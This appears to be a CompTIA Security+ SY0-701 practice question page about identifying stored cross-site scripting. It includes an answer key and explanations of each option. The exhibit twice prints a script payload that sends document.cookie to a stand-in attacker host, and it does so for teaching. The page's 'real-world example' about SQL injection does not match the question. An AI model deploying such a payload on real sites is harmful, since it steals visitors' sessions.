The correct answer is stored cross-site scripting (XSS). This is because the application takes user-supplied input—such as a product review—saves it on the server, and later renders that input to other users without proper sanitization, allowing an attacker’s script tag to execute in the browsers of subsequent visitors. The exhibit shows a classic stored XSS payload attempting to exfiltrate cookies to a remote host, confirming that the malicious script is persisted and delivered to every user who loads the page. On the Security+ SY0-701 exam, this scenario tests your ability to distinguish stored XSS from reflected or DOM-based XSS by focusing on where the payload lives: stored XSS is saved on the server, while reflected XSS appears only in a request and response. A common trap is confusing stored XSS with reflected XSS when the payload is submitted via a form—remember that if the script persists and affects later users, it is stored. Memory tip: “Stored = Server saves, Stays dangerous.”
SY0-701 Threats, Vulnerabilities, and Mitigations Practice Question
This SY0-701 practice question tests your understanding of threats, vulnerabilities, and mitigations. Read the scenario carefully and evaluate each option against the stated constraints before committing to an answer. After answering, compare your reasoning against the explanation and wrong-answer breakdown below. Once you have made your selection, read the full explanation to reinforce the concept and understand why each distractor is designed to mislead on exam day.
Exhibit
Support ticket excerpt:
A customer posted the following in a public product review field:
<script>fetch('https://evil.example/steal?c='+document.cookie)</script>
The same script later appeared in the review page for other visitors, and the security team found several unexpected requests to the attacker-controlled domain.
Based on the exhibit, what vulnerability is the application most likely suffering from?
Clue words in this question
Noticing these words before you look at the options changes how you read each choice.
Clue: "most likely"
Why it matters: Probability qualifier — the question wants the most probable cause or outcome, not a guaranteed one. Eliminate low-probability options.
Support ticket excerpt:
A customer posted the following in a public product review field:
<script>fetch('https://evil.example/steal?c='+document.cookie)</script>
The same script later appeared in the review page for other visitors, and the security team found several unexpected requests to the attacker-controlled domain.
A
Stored cross-site scripting, because attacker-controlled script is saved and later rendered to other users.
Stored cross-site scripting is correct because the malicious script was submitted once, saved by the application, and then executed for other visitors when the review was displayed. The evidence of requests to the attacker domain confirms that the browser executed the injected script and exposed user data.
B
Command injection, because the script attempts to send cookies to a remote host.
Why wrong: Command injection targets the server's operating system or shell, usually through system commands. This exhibit shows browser-side script execution in a review page, not OS command execution.
C
Session fixation, because users saw the same review page after posting.
Why wrong: Session fixation involves forcing or reusing a session identifier so the attacker can hijack an authenticated session. The exhibit describes injected script stored in content, not a manipulated session token.
D
Insecure deserialization, because the payload is embedded in a review field.
Why wrong: Insecure deserialization requires unsafe parsing of serialized objects. The payload here is executable script in a web page field, which is characteristic of XSS rather than object deserialization.
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
✓
Stored cross-site scripting, because attacker-controlled script is saved and later rendered to other users.
The application stores user-supplied input in a review field and later renders it to other users without proper sanitization. The exhibit shows a script tag attempting to exfiltrate cookies to a remote host, which is a classic stored cross-site scripting (XSS) payload. Because the malicious script is persisted on the server and executed in the browsers of subsequent visitors, the vulnerability is stored XSS.
Key principle: Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Answer analysis
Option-by-option breakdown
For each option: why learners choose it and why it is or isn't the right answer here.
✓
Stored cross-site scripting, because attacker-controlled script is saved and later rendered to other users.
Why this is correct
Stored cross-site scripting is correct because the malicious script was submitted once, saved by the application, and then executed for other visitors when the review was displayed. The evidence of requests to the attacker domain confirms that the browser executed the injected script and exposed user data.
Clue confirmation
The clue word "most likely" in the question point toward this answer.
Related concept
Read the scenario before looking for a memorised answer.
✗
Command injection, because the script attempts to send cookies to a remote host.
Why it's wrong here
Command injection targets the server's operating system or shell, usually through system commands. This exhibit shows browser-side script execution in a review page, not OS command execution.
✗
Session fixation, because users saw the same review page after posting.
Why it's wrong here
Session fixation involves forcing or reusing a session identifier so the attacker can hijack an authenticated session. The exhibit describes injected script stored in content, not a manipulated session token.
✗
Insecure deserialization, because the payload is embedded in a review field.
Why it's wrong here
Insecure deserialization requires unsafe parsing of serialized objects. The payload here is executable script in a web page field, which is characteristic of XSS rather than object deserialization.
Common exam traps
Common exam trap: answer the scenario, not the keyword
CompTIA often tests the distinction between stored XSS and reflected XSS, where candidates may confuse the persistence of the payload (stored) with the immediate reflection of input (reflected), or they may incorrectly associate cookie exfiltration with command injection rather than client-side scripting.
Trap categories for this question
Command / output trap
Command injection targets the server's operating system or shell, usually through system commands. This exhibit shows browser-side script execution in a review page, not OS command execution.
Detailed technical explanation
How to think about this question
Stored XSS occurs when user input is permanently stored on the target server (e.g., in a database) and then reflected in a web page without proper encoding. The payload in the exhibit uses `document.cookie` to steal session cookies, which are typically HttpOnly-flagged in modern apps, but if not, the attacker can hijack the session. Real-world examples include comment sections or forums where malicious scripts persist and infect all visitors, leading to account takeover or data theft.
KKey Concepts to Remember
Read the scenario before looking for a memorised answer.
Find the constraint that changes the correct option.
Eliminate answers that are true in general but not in this case.
TExam Day Tips
→Watch for words such as best, first, most likely and least administrative effort.
→Review why wrong options are wrong, not only why the correct option is correct.
Key takeaway
Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Real-world example
How this comes up in practice
A security team runs a vulnerability scan on a web application and discovers an unpatched SQL injection flaw. The team prioritises remediation by CVSS score — critical flaws are patched within 24 hours, high within 7 days. Questions like this test whether you understand vulnerability management processes, scanning tools, and remediation prioritisation.
Related glossary terms
Concepts from this question explained
These glossary pages explain the core terms tested in this SY0-701 question in full detail.
Threats, Vulnerabilities, and Mitigations — This question tests Threats, Vulnerabilities, and Mitigations — Read the scenario before looking for a memorised answer..
What is the correct answer to this question?
The correct answer is: Stored cross-site scripting, because attacker-controlled script is saved and later rendered to other users. — The application stores user-supplied input in a review field and later renders it to other users without proper sanitization. The exhibit shows a script tag attempting to exfiltrate cookies to a remote host, which is a classic stored cross-site scripting (XSS) payload. Because the malicious script is persisted on the server and executed in the browsers of subsequent visitors, the vulnerability is stored XSS.
What should I do if I get this SY0-701 question wrong?
Identify which exam domain this question belongs to, review the core concept, then practise similar questions from the same domain.
Are there clue words in this question I should notice?
Yes — watch for: "most likely". Probability qualifier — the question wants the most probable cause or outcome, not a guaranteed one. Eliminate low-probability options.
What is the key concept behind this question?
Read the scenario before looking for a memorised answer.
About these practice questions
Courseiva creates original exam-style practice questions with explanations and wrong-answer analysis. It does not publish real exam questions, exam dumps, or protected exam content. Learn why practice questions differ from exam dumps →
Share a tip, memory trick, or ask about the reasoning behind this question. Do not post real exam questions, leaked content, braindumps, or copyrighted exam material. Comments are moderated and may be removed without notice.
This SY0-701 practice question is part of Courseiva's free CompTIA certification practice question bank. Courseiva provides original exam-style practice questions with explanations, topic-based practice, mock exams, readiness tracking, and study analytics to help learners prepare for the SY0-701 exam.
Question Discussion
Share a tip, memory trick, or ask about the reasoning behind this question. Do not post real exam questions, leaked content, braindumps, or copyrighted exam material. Comments are moderated and may be removed without notice.
Sign in to join the discussion.